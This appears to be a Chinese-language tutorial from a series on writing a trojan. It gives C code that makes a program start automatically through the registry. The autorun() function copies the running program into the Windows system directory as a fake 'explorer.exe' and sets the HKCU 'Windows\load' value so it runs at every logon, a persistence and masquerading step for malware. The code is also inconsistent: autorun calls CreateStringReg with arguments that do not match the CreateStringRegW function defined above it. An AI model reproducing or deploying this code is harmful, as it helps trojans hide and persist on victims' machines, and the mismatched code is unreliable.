注册表操作之自启动

注册表是Windows系统的核心配置文件。一般我们安装木马时会向注册表中写入一些关于自身程序的有关信息。例如我的木马中就是讲IP地址、端口等信息写入注册表中。这里我们通过修改注册表来实现木马的自启动。

    下面给出两个设置注册表键值的函数，以后会经常用到：

 //修改字符串类型键值
 BOOL CreateStringRegW(HKEY hRoot,WCHAR *szSubKey, unsigned long kType,WCHAR* ValueName,WCHAR *Data)
{
    HKEY hKey;
    //打开注册表键，不存在则创建它
    long lRet=RegCreateKeyExW(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL);
    if (lRet!=ERROR_SUCCESS) return false;
    //修改注册表键值，没有则创建它
    lRet=RegSetValueExW(hKey, ValueName, 0, kType, (LPBYTE)Data,wcslen(Data)*sizeof(WCHAR));
    if (lRet!=ERROR_SUCCESS) return false;
    RegCloseKey(hKey);
    return true;
}

//  用于修改数字类型键值
BOOL CreateDWORDReg(HKEY hRoot,WCHAR *szSubKey,WCHAR* ValueName,DWORD Data)
{
    HKEY hKey;
    //打开注册表键，不存在则创建它
    long lRet=RegCreateKeyExW(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL);
    if (lRet!=ERROR_SUCCESS) return false;
    DWORD dwSize=sizeof(DWORD);
    //修改注册表键值，没有则创建它
    lRet=RegSetValueExW(hKey,ValueName,0,REG_DWORD,(BYTE*)&Data,dwSize);
    if (lRet!=ERROR_SUCCESS) return false;
    RegCloseKey(hKey);
    return true;
}

int autorun(){

char SelfFile[MAX_PATH];

char SystemPath[512];

GetSystemDirectory(SystemPath,sizeof(SystemPath));

strcat(SystemPath,"\\explorer.exe");

GetModuleFileName(NULL,SelfFile,MAX_PATH);

if(!CopyFile(SelfFile,SystemPath,true))

return 0;

CreateStringReg(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows","load",SystemPath);

        return 0;

}

这样，autorun（）函数就实现了程序的自启动。当然，自启动的方式还有很多。以后我们还会说到dll文件的自启动。